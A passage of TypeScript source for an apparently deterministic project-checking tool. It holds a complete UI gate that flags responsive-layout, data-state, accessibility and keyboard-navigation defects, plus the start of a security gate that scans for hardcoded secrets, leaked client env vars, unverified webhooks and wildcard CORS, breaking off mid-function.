`ProjectGraph` and real file reads (no LLM). Every check is a real detector that\n * reads page/component source (`.tsx` / `.jsx`) plus the Tailwind classes inlined\n * in it, and flags a concrete class of UI defect. A finding is a `CheckResult`\n * (never an exception), so the gate NEVER throws on a detected issue. It throws\n * `GateError` only on invalid input or an internal failure.\n *\n * File reads are fail-safe: an unreadable file is skipped (never aborts the gate),\n * mirroring the security gate's degrade-don't-crash contract.\n *\n * The heuristic checks:\n * responsive (required) layout files with no breakpoint/media query;\n * fixed-px container widths that don't adapt\n * data-states (required) data-fetching components that don't handle all\n * three of loading / empty / error\n * accessibility (required) <img> without alt; button/anchor with no accessible\n * text or aria-label; input without an associated\n * label; clickable <div>/<span> without a role\n * keyboard-nav (required) onClick on a non-interactive element with no\n * keyboard handler (onKeyDown/onKeyUp/onKeyPress)\n * dark-mode (soft) colour-setting files with no `dark:` variant, when\n * the project otherwise supports dark mode\n *\n * Public API:\n * runUiGate(root, graph, config): Promise<{ result: GateResult; evidence: EvidenceItem[] }>\n */\n\nimport { randomUUID } from 'node:crypto';\nimport { readFile } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nimport { GateError } from '../domain/index';\nimport type {\n CheckResult,\n CortexConfig,\n EvidenceItem,\n EvidenceKind,\n EvidenceStatus,\n FileNode,\n GateFamily,\n GateResult,\n ProjectGraph,\n} from '../domain/index';\n\n// --- constants --------------------------------------------------------------\n\nconst GATE_NAME = 'ui' satisfies GateFamily;\n\n/** Cap findings enumerated inside a single check's detail, so one bad file can't flood it. */\nconst MAX_FINDINGS_LISTED = 8;\n\n/** A fixed pixel width at or above this is treated as a non-responsive container width. */\nconst FIXED_WIDTH_MIN_PX = 200;\n\n/** Page/component source files that carry JSX + Tailwind classes. */\nconst UI_FILE_RE = /\\.[jt]sx$/;\n\n/** Tailwind responsive breakpoint prefix (e.g. `md:flex`, `lg:w-1/2`, `2xl:[…]`). */\nconst RESPONSIVE_TAILWIND_RE = /(?:^|[\\s\"'`{])(?:sm|md|lg|xl|2xl):[\\w[-]/;\n/** CSS media queries / JS responsive affordances. */\nconst RESPONSIVE_MEDIA_RE = /@media\\b|useMediaQuery|matchMedia|<picture[\\s>]|srcSet|\\bsizes=/;\n\n/** Layout containers that ought to adapt across viewports. */\nconst LAYOUT_CLASS_RE =\n /\\bflex\\b|\\bgrid\\b|\\bcontainer\\b|\\bmax-w-|\\bmin-h-screen\\b|\\bw-screen\\b|\\bw-full\\b|\\bcolumns-/;\n\n/** Tailwind arbitrary width `w-[640px]`. */\nconst TW_FIXED_W_RE = /\\bw-\\[(\\d+)px\\]/g;\n/** Quoted / CSS pixel width `width: 640px`, `maxWidth: \"300px\"`. */\nconst CSS_PX_W_RE = /\\b(?:width|min-width|max-width|minWidth|maxWidth)\\s*:\\s*['\"]?(\\d+)px/gi;\n/** Bare React style-object width `width: 640` (React interprets a number as px). */\nconst JS_NUM_W_RE = /\\b(?:width|minWidth|maxWidth)\\s*:\\s*(\\d+)\\s*(?:[,}]|$)/g;\n\n/** Client-side data hooks — a component using one renders while data loads. */\nconst CLIENT_DATA_HOOK_RE = /\\b(?:useQuery|useSuspenseQuery|useInfiniteQuery|useSWR|useMutation)\\b/;\nconst USE_CLIENT_RE = /(^|\\n)\\s*['\"]use client['\"]\\s*;?/;\nconst RAW_FETCH_RE = /\\bfetch\\s*\\(|\\baxios\\b/;\n\nconst LOADING_RE =\n /\\bisLoading\\b|\\bisFetching\\b|\\bisPending\\b|\\bisValidating\\b|\\bloading\\b|\\bpending\\b|<Skeleton|<Spinner|<Loader|aria-busy/i;\nconst ERROR_RE =\n /\\bisError\\b|\\.error\\b|\\berror\\b|\\bcatch\\s*\\(|\\btry\\s*\\{|\\bonError\\b|role\\s*=\\s*['\"]alert['\"]|<ErrorBoundary|<Error\\b/i;\nconst EMPTY_RE =\n /\\.length\\s*===\\s*0|\\.length\\s*<\\s*1|\\.length\\s*\\?|!\\s*data\\b|!\\s*items\\b|\\bdata\\s*\\?\\.\\s*length|\\bisEmpty\\b|<EmptyState|\\bempty\\b|no\\s+(?:results|items|data|records)|nothing\\s+found/i;\n\n/** Colour-setting Tailwind utilities (bg/text/border of a named palette colour). */\nconst COLOR_CLASS_RE =\n /\\b(?:bg|text|border)-(?:white|black|gray|slate|zinc|neutral|stone|red|orange|amber|yellow|lime|green|emerald|teal|cyan|sky|blue|indigo|violet|purple|fuchsia|pink|rose)(?:-\\d{2,3})?\\b/;\nconst DARK_VARIANT_RE = /\\bdark:/;\n\n/** Non-interactive tags that must not be the sole click target without a11y affordances. */\nconst NON_INTERACTIVE_TAGS: ReadonlySet<string> = new Set([\n 'div',\n 'span',\n 'li',\n 'p',\n 'section',\n 'article',\n 'header',\n 'footer',\n 'nav',\n 'aside',\n 'main',\n 'ul',\n 'ol',\n 'td',\n 'tr',\n]);\n\nconst ARIA_LABEL_RE = /\\b(?:aria-label|aria-labelledby|title)\\b/;\nconst ONCLICK_RE = /\\bonClick\\b/;\nconst KEY_HANDLER_RE = /\\bon(?:KeyDown|KeyUp|KeyPress)\\b/;\nconst ROLE_RE = /\\brole\\s*=/;\n\n// --- internal shapes --------------------------------------------------------\n\ninterface UiFinding {\n file: string;\n line?: number;\n detail: string;\n}\n\ninterface RichCheck {\n check: CheckResult;\n /** whether a failure of this check blocks the gate verdict */\n required: boolean;\n evidence: EvidenceItem;\n}\n\ninterface EvidenceFields {\n claim: string;\n status: EvidenceStatus;\n kind: EvidenceKind;\n detail: string;\n}\n\ninterface OpenTag {\n /** lowercase-insensitive raw tag name (e.g. `div`, `img`, `MyComponent`) */\n tag: string;\n /** the raw attribute text between the tag name and the closing `>` */\n attrs: string;\n /** index of the opening `<` */\n index: number;\n /** index just past the closing `>` (start of the element body) */\n bodyStart: number;\n selfClosing: boolean;\n}\n\n// --- guards -----------------------------------------------------------------\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction assertGateInputs(root: string, graph: ProjectGraph, config: CortexConfig): void {\n if (typeof root !== 'string' || root.length === 0) {\n throw new GateError('UI gate requires a non-empty repository root path.');\n }\n if (!isRecord(graph) || !Array.isArray(graph.files)) {\n throw new GateError('UI gate requires a valid ProjectGraph (with a files array).');\n }\n if (!isRecord(config)) {\n throw new GateError('UI gate requires a valid CortexConfig.');\n }\n}\n\n// --- evidence + check construction ------------------------------------------\n\nfunction makeEvidence(fields: EvidenceFields): EvidenceItem {\n return {\n id: randomUUID(),\n claim: fields.claim,\n status: fields.status,\n kind: fields.kind,\n detail: fields.detail,\n createdAt: new Date().toISOString(),\n };\n}\n\nfunction renderFinding(finding: UiFinding): string {\n const where = finding.line !== undefined ? `${finding.file}:${finding.line}` : finding.file;\n return `${where} — ${finding.detail}`;\n}\n\n/**\n * Fold a detector's findings into a single check + backing evidence. A clean\n * detector (zero findings) produces a passing, `verified` check; any finding\n * produces a failing, `refuted` check whose detail enumerates the offending\n * files/lines (capped).\n */\nfunction buildCategory(\n name: string,\n subject: string,\n findings: UiFinding[],\n required: boolean,\n): RichCheck {\n const passed = findings.length === 0;\n const shown = findings.slice(0, MAX_FINDINGS_LISTED).map(renderFinding).join('; ');\n const extra =\n findings.length > MAX_FINDINGS_LISTED ? ` (+${findings.length - MAX_FINDINGS_LISTED} more)` : '';\n const detail = passed\n ? `No ${subject} detected.`\n : `${findings.length} ${subject} finding(s): ${shown}${extra}`;\n\n const evidence = makeEvidence({\n claim: `No ${subject}`,\n status: passed ? 'verified' : 'refuted',\n kind: 'file',\n detail,\n });\n return { required, evidence, check: { name, passed, detail, evidenceId: evidence.id } };\n}\n\n// --- file scanning ----------------------------------------------------------\n\nfunction basenameOf(rel: string): string {\n const normalized = rel.replace(/\\\\/g, '/');\n const idx = normalized.lastIndexOf('/');\n return idx === -1 ? normalized : normalized.slice(idx + 1);\n}\n\nfunction isUiFile(rel: string): boolean {\n const base = basenameOf(rel).toLowerCase();\n if (base.endsWith('.test.tsx') || base.endsWith('.test.jsx')) return false;\n if (base.endsWith('.stories.tsx') || base.endsWith('.stories.jsx')) return false;\n return UI_FILE_RE.test(base);\n}\n\n/**\n * Read every UI source file in the graph once, in parallel. Unreadable files are\n * silently skipped (fail-safe) so one permission error never fails the gate.\n */\nasync function readUiSources(\n absRoot: string,\n graph: ProjectGraph,\n): Promise<Map<string, string>> {\n const contents = new Map<string, string>();\n const targets = graph.files.filter(\n (node): node is FileNode =>\n isRecord(node) && typeof node.path === 'string' && isUiFile(node.path),\n );\n await Promise.all(\n targets.map(async (node) => {\n try {\n contents.set(node.path, await readFile(path.join(absRoot, node.path), 'utf8'));\n } catch {\n // Unreadable file: skip it. This gate simply has nothing to say about it.\n }\n }),\n );\n return contents;\n}\n\nfunction lineOf(content: string, index: number): number {\n let line = 1;\n for (let i = 0; i < index && i < content.length; i += 1) {\n if (content.charCodeAt(i) === 10) line += 1;\n }\n return line;\n}\n\n/**\n * Extract JSX opening tags with their raw attributes. The scanner is brace- and\n * quote-aware: a `>` inside a `{ () => expr }` handler, a `\"a > b\"` string, or a\n * `` `${…}` `` template does not prematurely close the tag — a naive\n * `<tag[^>]*>` regex would mis-parse every arrow function. Closing tags,\n * fragments (`<>`), and comments (`<!--`) are ignored.\n */\nfunction scanOpeningTags(content: string): OpenTag[] {\n const tags: OpenTag[] = [];\n const start = /<([A-Za-z][\\w.-]*)/g;\n let match: RegExpExecArray | null;\n while ((match = start.exec(content)) !== null) {\n const tag = match[1];\n if (tag === undefined) continue;\n\n let i = start.lastIndex;\n let depth = 0;\n let quote = '';\n let close = -1;\n while (i < content.length) {\n const ch = content[i];\n if (ch === undefined) break;\n if (quote !== '') {\n if (ch === quote) quote = '';\n } else if (ch === '\"' || ch === \"'\" || ch === '`') {\n quote = ch;\n } else if (ch === '{') {\n depth += 1;\n } else if (ch === '}') {\n if (depth > 0) depth -= 1;\n } else if (ch === '>' && depth === 0) {\n close = i;\n break;\n }\n i += 1;\n }\n if (close === -1) break; // unterminated tag: nothing more to scan reliably\n\n const attrs = content.slice(start.lastIndex, close);\n tags.push({\n tag,\n attrs,\n index: match.index,\n bodyStart: close + 1,\n selfClosing: attrs.trimEnd().endsWith('/'),\n });\n start.lastIndex = close + 1;\n }\n return tags;\n}\n\n/** Remove all `{ … }` expressions (brace-aware) from a fragment of JSX body. */\nfunction stripBraceExpressions(body: string): string {\n let out = '';\n let depth = 0;\n for (let i = 0; i < body.length; i += 1) {\n const ch = body[i];\n if (ch === '{') depth += 1;\n else if (ch === '}') {\n if (depth > 0) depth -= 1;\n } else if (depth === 0 && ch !== undefined) {\n out += ch;\n }\n }\n return out;\n}\n\n/** The visible text of an element body once child tags and `{…}` are removed. */\nfunction visibleText(body: string): string {\n return stripBraceExpressions(body).replace(/<[^>]*>/g, '').replace(/\\s+/g, '');\n}\n\n// --- detectors --------------------------------------------------------------\n\n/** Layout files with no responsive handling + fixed-px container widths. */\nfunction detectResponsive(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): UiFinding[] {\n const findings: UiFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n const isLayout = node.kind === 'page' || node.kind === 'route' || LAYOUT_CLASS_RE.test(content);\n const isResponsive = RESPONSIVE_TAILWIND_RE.test(content) || RESPONSIVE_MEDIA_RE.test(content);\n if (isLayout && !isResponsive) {\n findings.push({\n file: node.path,\n detail:\n 'layout uses no responsive breakpoints (sm:/md:/lg:) or media query; it will not adapt to small viewports',\n });\n }\n\n for (const re of [TW_FIXED_W_RE, CSS_PX_W_RE, JS_NUM_W_RE]) {\n re.lastIndex = 0;\n let m: RegExpExecArray | null;\n let hit = false;\n while (!hit && (m = re.exec(content)) !== null) {\n const raw = m[1];\n if (raw === undefined) continue;\n const px = Number.parseInt(raw, 10);\n if (Number.isFinite(px) && px >= FIXED_WIDTH_MIN_PX) {\n findings.push({\n file: node.path,\n line: lineOf(content, m.index),\n detail: `fixed ${px}px width does not adapt across viewports; use a fluid or max-width unit`,\n });\n hit = true; // one fixed-width finding per file per pattern is enough\n }\n }\n }\n }\n return findings;\n}\n\n/** Data-fetching components that don't render all three of loading / empty / error. */\nfunction detectDataStates(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): UiFinding[] {\n const findings: UiFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n const usesClientHook = CLIENT_DATA_HOOK_RE.test(content);\n const fetchesInClient = USE_CLIENT_RE.test(content) && RAW_FETCH_RE.test(content);\n if (!usesClientHook && !fetchesInClient) continue;\n\n const missing: string[] = [];\n if (!LOADING_RE.test(content)) missing.push('loading');\n if (!EMPTY_RE.test(content)) missing.push('empty');\n if (!ERROR_RE.test(content)) missing.push('error');\n if (missing.length === 0) continue;\n\n findings.push({\n file: node.path,\n detail: `data-fetching component does not handle ${missing.join(' / ')} state(s)`,\n });\n }\n return findings;\n}\n\n/** Accessibility defects: missing alt, unlabeled controls, clickable non-interactive without role. */\nfunction detectAccessibility(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): UiFinding[] {\n const findings: UiFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n for (const el of scanOpeningTags(content)) {\n const line = lineOf(content, el.index);\n const lower = el.tag.toLowerCase();\n\n // <img> without alt (alt=\"\" is allowed — decorative).\n if (lower === 'img' && !/\\balt\\s*=/.test(el.attrs)) {\n findings.push({\n file: node.path,\n line,\n detail: '<img> has no alt attribute; add alt text (or alt=\"\" if decorative)',\n });\n continue;\n }\n\n // <input>/<select>/<textarea> without an associated label.\n if (\n (lower === 'input' || lower === 'select' || lower === 'textarea') &&\n !inputHasLabel(el.attrs, content)\n ) {\n findings.push({\n file: node.path,\n line,\n detail: `<${lower}> has no associated label (aria-label, aria-labelledby, or a matching htmlFor)`,\n });\n continue;\n }\n\n // <button>/<a> with neither accessible text nor an aria-label.\n if ((lower === 'button' || lower === 'a') && !el.selfClosing) {\n if (ARIA_LABEL_RE.test(el.attrs)) continue;\n const bodyEnd = content.indexOf(`</${el.tag}>`, el.bodyStart);\n const body = bodyEnd === -1 ? content.slice(el.bodyStart) : content.slice(el.bodyStart, bodyEnd);\n // A `{…}` body may render text at runtime — stay conservative and only\n // flag an element that is provably text-free (e.g. an icon-only button).\n if (!body.includes('{') && visibleText(body).length === 0) {\n findings.push({\n file: node.path,\n line,\n detail: `<${lower}> has no accessible text or aria-label (icon-only control?)`,\n });\n }\n continue;\n }\n\n // Clickable non-interactive element without a semantic role.\n if (NON_INTERACTIVE_TAGS.has(lower) && ONCLICK_RE.test(el.attrs) && !ROLE_RE.test(el.attrs)) {\n findings.push({\n file: node.path,\n line,\n detail: `clickable <${lower}> has no role; use a <button> or add role + tabIndex`,\n });\n }\n }\n }\n return findings;\n}\n\nfunction inputHasLabel(attrs: string, content: string): boolean {\n if (/\\b(?:aria-label|aria-labelledby)\\b/.test(attrs)) return true;\n const typeMatch = /\\btype\\s*=\\s*['\"]([a-z]+)['\"]/i.exec(attrs);\n const type = typeMatch?.[1]?.toLowerCase();\n if (type !== undefined && ['hidden', 'submit', 'button', 'reset', 'image'].includes(type)) {\n return true;\n }\n const idMatch = /\\bid\\s*=\\s*['\"]([^'\"]+)['\"]/.exec(attrs);\n const id = idMatch?.[1];\n if (id !== undefined) {\n if (content.includes(`htmlFor=\"${id}\"`) || content.includes(`htmlFor='${id}'`)) return true;\n if (content.includes(`for=\"${id}\"`) || content.includes(`for='${id}'`)) return true;\n }\n return false;\n}\n\n/** onClick on a non-interactive element with no keyboard handler. */\nfunction detectKeyboardNav(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): UiFinding[] {\n const findings: UiFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n for (const el of scanOpeningTags(content)) {\n const lower = el.tag.toLowerCase();\n if (!NON_INTERACTIVE_TAGS.has(lower)) continue;\n if (!ONCLICK_RE.test(el.attrs) || KEY_HANDLER_RE.test(el.attrs)) continue;\n findings.push({\n file: node.path,\n line: lineOf(content, el.index),\n detail: `clickable <${lower}> has an onClick but no keyboard handler (onKeyDown); it is unreachable by keyboard`,\n });\n }\n }\n return findings;\n}\n\n/**\n * Dark-mode inconsistency: files that set palette colours but ship no `dark:`\n * variant, reported only when the project otherwise supports dark mode (so a\n * project that simply never adopted dark mode is not spuriously flagged).\n */\nfunction detectDarkMode(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): UiFinding[] {\n const projectUsesDarkMode = [...contents.values()].some((c) => DARK_VARIANT_RE.test(c));\n if (!projectUsesDarkMode) return [];\n\n const findings: UiFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n if (!COLOR_CLASS_RE.test(content) || DARK_VARIANT_RE.test(content)) continue;\n findings.push({\n file: node.path,\n detail:\n 'sets palette colours (bg-/text-) but has no dark: variant; inconsistent with the project’s dark mode',\n });\n }\n return findings;\n}\n\n// --- public entrypoint ------------------------------------------------------\n\n/**\n * Run the deep UI gate against `root`. Returns the `GateResult` (whose `passed`\n * reflects only the required heuristic checks) plus every collected\n * `EvidenceItem`. Findings are `CheckResult`s, never exceptions; `GateError` is\n * thrown only on invalid input or an internal failure.\n *\n * @param root absolute repo root the graph was scanned from.\n * @param graph the project graph (from `scanProject`/`loadGraph`).\n * @param config the workspace config.\n */\nexport async function runUiGate(\n root: string,\n graph: ProjectGraph,\n config: CortexConfig,\n): Promise<{ result: GateResult; evidence: EvidenceItem[] }> {\n assertGateInputs(root, graph, config);\n const absRoot = path.resolve(root);\n\n try {\n const contents = await readUiSources(absRoot, graph);\n\n const rich: RichCheck[] = [\n buildCategory('responsive', 'non-responsive layout', detectResponsive(graph, contents), true),\n buildCategory('data-states', 'unhandled data state', detectDataStates(graph, contents), true),\n buildCategory('accessibility', 'accessibility', detectAccessibility(graph, contents), true),\n buildCategory('keyboard-nav', 'keyboard-inaccessible control', detectKeyboardNav(graph, contents), true),\n buildCategory('dark-mode', 'dark-mode inconsistency', detectDarkMode(graph, contents), false),\n ];\n\n const passed = rich.every((entry) => !entry.required || entry.check.passed);\n\n const result: GateResult = {\n gate: GATE_NAME,\n passed,\n checks: rich.map((entry) => entry.check),\n };\n return { result, evidence: rich.map((entry) => entry.evidence) };\n } catch (err) {\n if (err instanceof GateError) throw err;\n throw new GateError(`UI gate failed at ${absRoot}`, { cause: err });\n }\n}\n","/**\n * Security gate (§7.12) — deep, TOKENLESS, DETERMINISTic security heuristics\n * over the `ProjectGraph` and real file reads (no LLM). Every check is a real\n * detector that reads source and flags a concrete class of security defect; a\n * finding is a `CheckResult` (never an exception), so the gate NEVER throws on a\n * detected issue. It throws `GateError` only on invalid input or an internal\n * failure.\n *\n * File reads are fail-safe: an unreadable file is skipped (never aborts the\n * gate), mirroring the graph scanner's degrade-don't-crash contract. Secret\n * values are NEVER echoed into evidence — only the file, line, and a label.\n *\n * The heuristic checks (all blocking / required):\n * secrets hardcoded provider tokens + secret assignments in source\n * client-secret-env a NEXT_PUBLIC_* var carrying a SECRET/KEY (client bundle)\n * client-secret-leak a `'use client'` file reading server secrets via process.env\n * webhook-signature webhook/stripe handlers that never verify the signature\n * input-validation api routes / server actions using the body with no schema\n * cors an `Access-Control-Allow-Origin: *` wildcard\n * auth-risk `getSession()` used to decide authorization (vs `getUser()`)\n *\n * Plus one SOFT (advisory, non-blocking) check:\n * dependency-audit `pnpm audit` / `npm audit --json` when a lockfile exists\n *\n * Public API:\n * runSecurityGate(root, graph, config): Promise<{ result: GateResult; evidence: EvidenceItem[] }>\n */\n\nimport { randomUUID } from 'node:crypto';\nimport { readFile, stat } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nimport { GateError } from '../domain/index';\nimport type {\n CheckResult,\n CortexConfig,\n EvidenceItem,\n EvidenceKind,\n EvidenceStatus,\n FileKind,\n FileNode,\n GateResult,\n ProjectGraph,\n} from '../domain/index';\nimport { verifyCommandResult } from '../evidence';\n\n// --- constants --------------------------------------------------------------\n\nconst GATE_NAME = 'security';\n\n/** Wall-clock ceiling for the advisory dependency audit. */\nconst AUDIT_TIMEOUT_MS = 60_000;\n\n/** Cap findings enumerated inside a single check's detail, so one bad file can't flood it. */\nconst MAX_FINDINGS_LISTED = 8;\n/** Cap hardcoded-secret hits reported per file. */\nconst MAX_SECRETS_PER_FILE = 5;\n\nconst SOURCE_EXT_RE = /\\.[cm]?[jt]sx?$/;\n\n/** Basenames that are never scanned for secrets. */\nconst NON_SCANNABLE_BASENAMES: ReadonlySet<string> = new Set([\n '.env.example',\n '.env.sample',\n '.env.template',\n '.env.defaults',\n '.env.local.example',\n 'package-lock.json',\n 'npm-shrinkwrap.json',\n 'pnpm-lock.yaml',\n 'yarn.lock',\n 'bun.lockb',\n]);\n\n/** File kinds that ship to (or render in) the browser. */\nconst CLIENT_KINDS: ReadonlySet<FileKind> = new Set<FileKind>(['component', 'page', 'route']);\n/** File kinds where an authorization decision might live. */\nconst AUTHZ_KINDS: ReadonlySet<FileKind> = new Set<FileKind>([\n 'auth',\n 'api',\n 'middleware',\n 'service',\n 'page',\n 'route',\n]);\n\n/**\n * Ordered, most-specific-first hardcoded-secret signatures. Order matters: the\n * scanner reports at most one label per line and the first matching pattern wins,\n * so concrete provider tokens sit ahead of the generic assignment rule.\n */\nconst SECRET_PATTERNS: ReadonlyArray<{ label: string; re: RegExp }> = [\n { label: 'PEM private key', re: /-----BEGIN [A-Z ]*PRIVATE KEY-----/ },\n { label: 'AWS access key id', re: /\\bAKIA[0-9A-Z]{16}\\b/ },\n { label: 'API key (sk-…)', re: /\\bsk-[A-Za-z0-9]{20,}\\b/ },\n {\n label: 'hardcoded secret assignment',\n re: /(?:password|passwd|secret|api[_-]?key|access[_-]?token|private[_-]?key|client[_-]?secret)\\s*[:=]\\s*['\"][^'\"\\s]{6,}['\"]/i,\n },\n];\n\n/** A NEXT_PUBLIC_* var that looks like a real secret (SECRET or KEY et al.). */\nconst PUBLIC_SECRET_RE = /(SECRET|KEY|PASSWORD|PASSWD|PRIVATE|CREDENTIAL|TOKEN)/;\n/** Publishable/anon keys are intentionally public — exclude them from the NEXT_PUBLIC_ check. */\nconst KNOWN_PUBLIC_RE = /(PUBLISHABLE|ANON|PUBLIC_KEY|CLIENT_ID)/;\n\n/** Non-public, secret-looking env var names (client-leak check). */\nconst SECRET_ENV_RE = /(SECRET|PASSWORD|PASSWD|PRIVATE|CREDENTIAL|APIKEY|API_KEY|_KEY|TOKEN)/;\nconst USE_CLIENT_RE = /(^|\\n)\\s*['\"]use client['\"]\\s*;?/;\nconst USE_SERVER_RE = /(^|\\n)\\s*['\"]use server['\"]\\s*;?/;\nconst PROCESS_ENV_RE =\n /process\\.env(?:\\.([A-Za-z_][A-Za-z0-9_]*)|\\[\\s*['\"]([A-Za-z_][A-Za-z0-9_]*)['\"]\\s*\\])/g;\n\n/** A webhook handler is trusted only if it verifies the signature. */\nconst WEBHOOK_VERIFY_RE = /construct(?:event)?|verif(?:y|ies|ied|ication)|validatesignature|checksignature/i;\n\n/** The handler reads the untrusted request body. */\nconst BODY_READ_RE = /\\b(?:req|request|ctx\\.req|context\\.req)\\.(?:body|json|text|formData|arrayBuffer)\\b/i;\n/** The handler validates the body against a schema before trusting it. */\nconst VALIDATION_RE =\n /\\.safeParse\\s*\\(|\\.parseAsync\\s*\\(|\\bz\\.object\\b|\\bzod\\b|\\byup\\b|\\bjoi\\b|valibot|superstruct|class-validator|\\.validate\\s*\\(|[A-Za-z_$][\\w$]*Schema\\s*\\.\\s*parse\\s*\\(/i;\n\n/** `Access-Control-Allow-Origin` header name occurrences. */\nconst ACAO_RE = /access-control-allow-origin/gi;\n/** A wildcard value within a short window after the header name. */\nconst ACAO_WILDCARD_RE = /[:=,]\\s*[\"'`]?\\s*\\*/;\n\nconst GET_SESSION_RE = /\\bgetSession\\s*\\(/;\nconst GET_USER_RE = /\\bgetUser\\s*\\(/;\n/** Signals that an authorization decision is being made in this file. */\nconst AUTHZ_SIGNAL_RE =\n /(?:\\brole\\b|\\broles\\b|is[_-]?admin|permission|authorize|unauthoriz|forbidden|redirect\\s*\\(|\\b401\\b|\\b403\\b)/i;\n\n// --- internal shapes --------------------------------------------------------\n\ninterface SecurityFinding {\n file: string;\n line?: number;\n detail: string;\n}\n\ninterface RichCheck {\n check: CheckResult;\n /** whether a failure of this check blocks the gate verdict */\n required: boolean;\n evidence: EvidenceItem;\n}\n\ninterface EvidenceFields {\n claim: string;\n status: EvidenceStatus;\n kind: EvidenceKind;\n detail: string;\n command?: string;\n exitCode?: number;\n output?: string;\n}\n\n// --- guards -----------------------------------------------------------------\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction assertGateInputs(root: string, graph: ProjectGraph, config: CortexConfig): void {\n if (typeof root !== 'string' || root.length === 0) {\n throw new GateError('Security gate requires a non-empty repository root path.');\n }\n if (!isRecord(graph) || !Array.isArray(graph.files)) {\n throw new GateError('Security gate requires a valid ProjectGraph (with a files array).');\n }\n if (!isRecord(config)) {\n throw new GateError('Security gate requires a valid CortexConfig.');\n }\n}\n\n// --- evidence + check construction ------------------------------------------\n\nfunction makeEvidence(fields: EvidenceFields): EvidenceItem {\n const item: EvidenceItem = {\n id: randomUUID(),\n claim: fields.claim,\n status: fields.status,\n kind: fields.kind,\n detail: fields.detail,\n createdAt: new Date().toISOString(),\n };\n if (fields.command !== undefined) item.command = fields.command;\n if (fields.exitCode !== undefined) item.exitCode = fields.exitCode;\n if (fields.output !== undefined) item.output = fields.output;\n return item;\n}\n\nfunction renderFinding(finding: SecurityFinding): string {\n const where = finding.line !== undefined ? `${finding.file}:${finding.line}` : finding.file;\n return `${where} — ${finding.detail}`;\n}\n\n/**\n * Fold a detector's findings into a single required/soft check + backing\n * evidence. A clean detector (zero findings) produces a passing, `verified`\n * check; any finding produces a failing, `refuted` check whose detail enumerates\n * the offending files/lines (capped) — never the secret values themselves.\n */\nfunction buildCategory(\n name: string,\n kind: EvidenceKind,\n subject: string,\n findings: SecurityFinding[],\n required: boolean,\n): RichCheck {\n const passed = findings.length === 0;\n const shown = findings.slice(0, MAX_FINDINGS_LISTED).map(renderFinding).join('; ');\n const extra =\n findings.length > MAX_FINDINGS_LISTED ? ` (+${findings.length - MAX_FINDINGS_LISTED} more)` : '';\n const detail = passed\n ? `No ${subject} detected.`\n : `${findings.length} ${subject} finding(s): ${shown}${extra}`;\n\n const evidence = makeEvidence({\n claim: `No ${subject}`,\n status: passed ? 'verified' : 'refuted',\n kind,\n detail,\n });\n return { required, evidence, check: { name, passed, detail, evidenceId: evidence.id } };\n}\n\n// --- file scanning ----------------------------------------------------------\n\nfunction basenameOf(rel: string): string {\n const normalized = rel.replace(/\\\\/g, '/');\n const idx = normalized.lastIndexOf('/');\n return idx === -1 ? normalized : normalized.slice(idx + 1);\n}\n\n/** Source files eligible for content scanning (excludes env examples, lockfiles, maps). */\nfunction isScannable(rel: string): boolean {\n const base = basenameOf(rel).toLowerCase();\n if (NON_SCANNABLE_BASENAMES.has(base)) return false;\n if (base.endsWith('.map') || base.endsWith('.min.js')) return false;\n return SOURCE_EXT_RE.test(base);\n}\n\n/**\n * Read every scannable source file in the graph once, in parallel. Unreadable\n * files are silently skipped (fail-safe) so one permission error never fails the\n * whole gate.\n */\nasync function readSources(absRoot: string, graph: ProjectGraph): Promise<Map<string, string>> {\n const contents = new Map<string, string>();\n const targets = graph.files.filter(\n (node): node is FileNode =>\n isRecord(node) && typeof node.path === 'string' && isScannable(node.path),\n );\n await Promise.all(\n targets.map(async (node) => {\n try {\n contents.set(node.path, await readFile(path.join(absRoot, node.path), 'utf8'));\n } catch {\n // Unreadable file: skip it. This detector simply has nothing to say about it.\n }\n }),\n );\n return contents;\n}\n\nfunction lineOf(content: string, index: number): number {\n let line = 1;\n for (let i = 0; i < index && i < content.length; i += 1) {\n if (content.charCodeAt(i) === 10) line += 1;\n }\n return line;\n}\n\nfunction firstSecretLabel(line: string): string | undefined {\n for (const { label, re } of SECRET_PATTERNS) {\n if (re.test(line)) return label;\n }\n return undefined;\n}\n\n// --- detectors --------------------------------------------------------------\n\n/** Hardcoded provider tokens / secret assignments in source (never echoes the value). */\nfunction detectSecrets(graph: ProjectGraph, contents: ReadonlyMap<string, string>): SecurityFinding[] {\n const findings: SecurityFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n const lines = content.split(/\\r?\\n/);\n let hits = 0;\n for (let i = 0; i < lines.length && hits < MAX_SECRETS_PER_FILE; i += 1) {\n const label = firstSecretLabel(lines[i] ?? '');\n if (label === undefined) continue;\n hits += 1;\n findings.push({\n file: node.path,\n line: i + 1,\n detail: `possible ${label}; move it to an environment variable / secret manager`,\n });\n }\n }\n return findings;\n}\n\n/** A NEXT_PUBLIC_* var carrying a real secret — inlined into the public client bundle. */\nfunction detectPublicEnvSecrets(graph: ProjectGraph): SecurityFinding[] {\n const findings: SecurityFinding[] = [];\n const envVars = Array.isArray(graph.envVars) ? graph.envVars : [];\n for (const env of envVars) {\n if (!isRecord(env) || typeof env.name !== 'string') continue;\n if (!env.name.startsWith('NEXT_PUBLIC_')) continue;\n if (!PUBLIC_SECRET_RE.test(env.name) || KNOWN_PUBLIC_RE.test(env.name)) continue;\n const usedIn = Array.isArray(env.usedIn) ? env.usedIn : [];\n findings.push({\n file: usedIn[0] ?? '(env)',\n detail: `${env.name} is inlined into the public client bundle; use a non-public, server-only variable`,\n });\n }\n return 